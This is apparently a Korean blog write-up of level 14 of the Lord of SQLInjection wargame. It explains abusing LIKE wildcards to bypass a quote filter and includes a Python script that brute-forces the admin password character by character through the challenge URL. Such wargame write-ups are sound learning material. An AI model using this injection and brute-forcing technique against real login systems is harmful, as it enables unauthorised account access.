[LOS] Level14: assassin
두비니
·2020. 1. 12. 22:56
Lord Of SQLInjection: lv.14 assassin
assassin입니다.
보면 싱글쿼리가 걸러지고 있네요. 이걸보고 싱글쿼리를 우회할 방법을 찾고 있었는데, 결국 찾지 못했습니다...
그래서 = 대신 쓰인 like를 보았습니다.
보아하니 like의 옵션 중 %와 _가 있더라구요(정확하게는 와일드카드라고 합니다)
%는 해당하는 문자열이 포함된 모든 db중 첫 번째 db를 출력해주고, (linux의 *과 느낌 비슷함)
_는 해당하는 문자열이 정확히 포함된 db를 출력해줍니다.
글로는 알기 힘드니 예시로 봅시다.
A% : 'A'로 시작하는 모든 문자열
%A% : 'A'가 포함된 모든 문자열
_A% : 두 번째 문자가 'A'인 모든 문자열
참고로 와일드카드중에 [](범위 정해주는거)도 있던데 왠지는 모르겠지만 안먹히더라구요...
무슨 느낌인지 오시죠?
물론 부르트포싱을 통해 모든 경우의 수를 보는 경우도 있겠지만,
잔머리를 굴려봅시다.
id | pw |
guest | 1234pwd |
admin | 1364pss |
db가 대충 이런식으로 되어있겠죠? 왜냐하면 %만 입력하면 이렇게 되거든요.
%는 위에 말했다시피 linux의 *과 같아서(모든 걸 출력)
제일 위에있는 애를 출력해줄텐데 guest를 출력해주네요.
어차피 이 db안에는 guest랑 admin밖에 없을테니 그냥 때려넣기를 시작했습니다.
그냥 하다보니 됐네요.
혹시몰라 브루트포싱하는것도 코드를 짜보았습니다.
import httplib
headers= {'Content-Type':'application/x-www-form-urlencoded', 'Cookie':'PHPSESSID=2sd53l2hdkgejvitu3j0fboapr'}
conn= httplib.HTTPSConnection('los.rubiya.kr', 443)
pw=''
for i in range(1, 10):
for j in range(48, 128):
conn.request('GET', '/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw='+pw+chr(j)+'%','',headers)
r1 = conn.getresponse().read()
if "Hello guest" in r1:
print 'guest: '+chr(j)
pw += chr(j)
break
elif "Hello admin"in r1:
print 'admin: '+chr(j)
pw += chr(j)
break
print pw
쟈라란 그래서 902%가 풀렸네요
추가로 볼 점은 90까지는 guest의 비밀번호로 풀리다가 2부터는 admin의 비밀번호와 같아서 admin의 비밀번호로 출력되었네요.(guessing으로 푼 게 이해!)
혹시라도 guest의 비밀번호가 901...의 식이여서 모두 guest의 비밀번호로 나온다면 첫번째 글자부터 a부터 다시 찾아보는 식으로 찾아보아야겠네요. 그건 그런 문제를 만나면 해보는걸로!
'War Games > Lord of SQLInjection' 카테고리의 다른 글
[LOS] Level16: zombie_assassin (0) | 2020.01.14 |
---|---|
[LOS] Level15: succubus (0) | 2020.01.13 |
[LOS] Level13: giant (0) | 2020.01.11 |
[LOS] Level11: darkknight (0) | 2020.01.09 |
[LOS] Level10: golem (0) | 2020.01.08 |